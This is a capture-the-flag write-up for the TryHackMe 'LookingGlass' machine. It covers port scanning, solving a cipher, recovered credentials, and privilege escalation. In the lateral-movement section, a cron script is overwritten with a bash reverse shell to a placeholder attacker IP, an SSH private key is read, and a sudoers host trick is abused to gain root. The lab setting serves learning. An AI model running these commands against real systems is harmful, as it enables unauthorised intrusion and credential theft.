InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

TryHackMe — LookingGlass CTF Writeup

CYB3RXD0N
InfoSec Write-ups
Published in
10 min readFeb 4, 2025

--

Introduction

Reconnaissance

nmap -sV -T5 -O 10.10.127.42 -oN scan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 06:34 EST
Nmap scan report for 10.10.127.42 (10.10.127.42)
Host is up (0.30s latency).
Not shown: 916 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9000/tcp open ssh Dropbear sshd (protocol 2.0)
9001/tcp open ssh Dropbear sshd (protocol 2.0)
9002/tcp open ssh Dropbear sshd (protocol 2.0)
9003/tcp open ssh Dropbear sshd (protocol 2.0)
9009/tcp open ssh Dropbear sshd (protocol 2.0)
9010/tcp open ssh Dropbear sshd (protocol 2.0)
9011/tcp open ssh Dropbear sshd (protocol 2.0)
9040/tcp open ssh Dropbear sshd (protocol 2.0)
9050/tcp open ssh Dropbear sshd (protocol 2.0)
9071/tcp open ssh Dropbear sshd (protocol 2.0)
9080/tcp open ssh Dropbear sshd (protocol 2.0)
9081/tcp open ssh Dropbear sshd (protocol 2.0)
9090/tcp open ssh Dropbear sshd (protocol 2.0)
9091/tcp open ssh Dropbear sshd (protocol 2.0)
9099/tcp open ssh Dropbear sshd (protocol 2.0)
9100/tcp open jetdirect?
9101/tcp open jetdirect?
9102/tcp open jetdirect?
9103/tcp open jetdirect?
9110/tcp open ssh Dropbear sshd (protocol 2.0)
9111/tcp open ssh Dropbear sshd (protocol 2.0)
9200/tcp open ssh Dropbear sshd (protocol 2.0)
9207/tcp open ssh Dropbear sshd (protocol 2.0)
9220/tcp open ssh Dropbear sshd (protocol 2.0)
9290/tcp open ssh Dropbear sshd (protocol 2.0)
9415/tcp open ssh Dropbear sshd (protocol 2.0)
9418/tcp open ssh Dropbear sshd (protocol 2.0)
9485/tcp open ssh Dropbear sshd (protocol 2.0)
9500/tcp open ssh Dropbear sshd (protocol 2.0)
9502/tcp open ssh Dropbear sshd (protocol 2.0)
9503/tcp open ssh Dropbear sshd (protocol 2.0)
9535/tcp open ssh Dropbear sshd (protocol 2.0)
9575/tcp open ssh Dropbear sshd (protocol 2.0)
9593/tcp open ssh Dropbear sshd (protocol 2.0)
9594/tcp open ssh Dropbear sshd (protocol 2.0)
9595/tcp open ssh Dropbear sshd (protocol 2.0)
9618/tcp open ssh Dropbear sshd (protocol 2.0)
9666/tcp open ssh Dropbear sshd (protocol 2.0)
9876/tcp open ssh Dropbear sshd (protocol 2.0)
9877/tcp open ssh Dropbear sshd (protocol 2.0)
9878/tcp open ssh Dropbear sshd (protocol 2.0)
9898/tcp open ssh Dropbear sshd (protocol 2.0)
9900/tcp open ssh Dropbear sshd (protocol 2.0)
9917/tcp open ssh Dropbear sshd (protocol 2.0)
9929/tcp open ssh Dropbear sshd (protocol 2.0)
9943/tcp open ssh Dropbear sshd (protocol 2.0)
9944/tcp open ssh Dropbear sshd (protocol 2.0)
9968/tcp open ssh Dropbear sshd (protocol 2.0)
9998/tcp open ssh Dropbear sshd (protocol 2.0)
9999/tcp open ssh Dropbear sshd (protocol 2.0)
10000/tcp open ssh Dropbear sshd (protocol 2.0)
10001/tcp open ssh Dropbear sshd (protocol 2.0)
10002/tcp open ssh Dropbear sshd (protocol 2.0)
10003/tcp open ssh Dropbear sshd (protocol 2.0)
10004/tcp open ssh Dropbear sshd (protocol 2.0)
10009/tcp open ssh Dropbear sshd (protocol 2.0)
10010/tcp open ssh Dropbear sshd (protocol 2.0)
10012/tcp open ssh Dropbear sshd (protocol 2.0)
10024/tcp open ssh Dropbear sshd (protocol 2.0)
10025/tcp open ssh Dropbear sshd (protocol 2.0)
10082/tcp open ssh Dropbear sshd (protocol 2.0)
10180/tcp open ssh Dropbear sshd (protocol 2.0)
10215/tcp open ssh Dropbear sshd (protocol 2.0)
10243/tcp open ssh Dropbear sshd (protocol 2.0)
10566/tcp open ssh Dropbear sshd (protocol 2.0)
10616/tcp open ssh Dropbear sshd (protocol 2.0)
10617/tcp open ssh Dropbear sshd (protocol 2.0)
10621/tcp open ssh Dropbear sshd (protocol 2.0)
10626/tcp open ssh Dropbear sshd (protocol 2.0)
10628/tcp open ssh Dropbear sshd (protocol 2.0)
10629/tcp open ssh Dropbear sshd (protocol 2.0)
10778/tcp open ssh Dropbear sshd (protocol 2.0)
11110/tcp open ssh Dropbear sshd (protocol 2.0)
11111/tcp open ssh Dropbear sshd (protocol 2.0)
11967/tcp open ssh Dropbear sshd (protocol 2.0)
12000/tcp open ssh Dropbear sshd (protocol 2.0)
12174/tcp open ssh Dropbear sshd (protocol 2.0)
12265/tcp open ssh Dropbear sshd (protocol 2.0)
12345/tcp open ssh Dropbear sshd (protocol 2.0)
13456/tcp open ssh Dropbear sshd (protocol 2.0)
13722/tcp open ssh Dropbear sshd (protocol 2.0)
13782/tcp open ssh Dropbear sshd (protocol 2.0)
13783/tcp open ssh Dropbear sshd (protocol 2.0)
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.02 seconds

Enumeration

dbclient -p 9000 10.10.127.42
dbclient -p 10000 10.10.127.42

Applying the Binary Search Method (half-interval search)

Steps:

Accessing the Real Service

You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmtc pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmjl!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl jintmofh Iaohxtachxta!'

Oi tzdr hjw oqzehp jpvvd tc oaoh:
Eqvv amdx ale xpuxpqx hwt oi jhbkhe--
Hv rfwmgl wl fp moi Tfbaun xkgm,
Puh jmvsd lloimi bp bwvyxaa.

Eno pz io yyhqho xyhbkhe wl sushf,
Bwl Nruiirhdjk, xmmj mnlw fy mpaxt,
Jani pjqumpzgn xhcdbgi xag bjskvr dsoo,
Pud cykdttk ej ba gaxt!

Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh
Ewl vpvict qseux dine huidoxt-achgb!
Al peqi pt eitf, ick azmo mtd wlae
Lx ymca krebqpsxug cevm.

'Ick lrla xhzj zlbmg vpt Qesulvwzrr?
Cpqx vw bf eifz, qy mthmjwa dwn!
V jitinofh kaz! Gtntdvl! Ttspaj!'
Wl ciskvttk me apw jzn.

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdstd
Enter Secret:

Deciphering the Message

bewareTheJabberwock

Gaining Credentials

jabberwock:BirthdaysBlanketsBlazingHunted

Exploitation

Note That You Should Inverse The Flag <<LookingGlass ;)>>

Lateral Movement

python3 -m http.server 8000
wget http://10.10.14.1:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
reboot cronjob
sudo -l
(root) NOPASSWD: /sbin/reboot
ls -la /home/jabberwock/twasBrillig.sh
#!/bin/bash
bash -i >& /dev/tcp/your_local_machine_ip/1234 0>&1
nc -lvnp 1234
sudo reboot
netcat
humptydumpty.txt
The password is zyxwvutsrqponmlk
su humptydumpty
drwx--x--x
cat /home/alice/.ssh/id_rsa
chmod 600 id_rsa
ssh alice@10.10.127.42 -i id_rsa
/etc/sudoers.d/alice is readable and contains:
alice ssalg-gnikool = (root) NOPASSWD: /bin/bash
sudo -h ssalg-gnikool /bin/bash
root.txt

--

--

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

No responses yet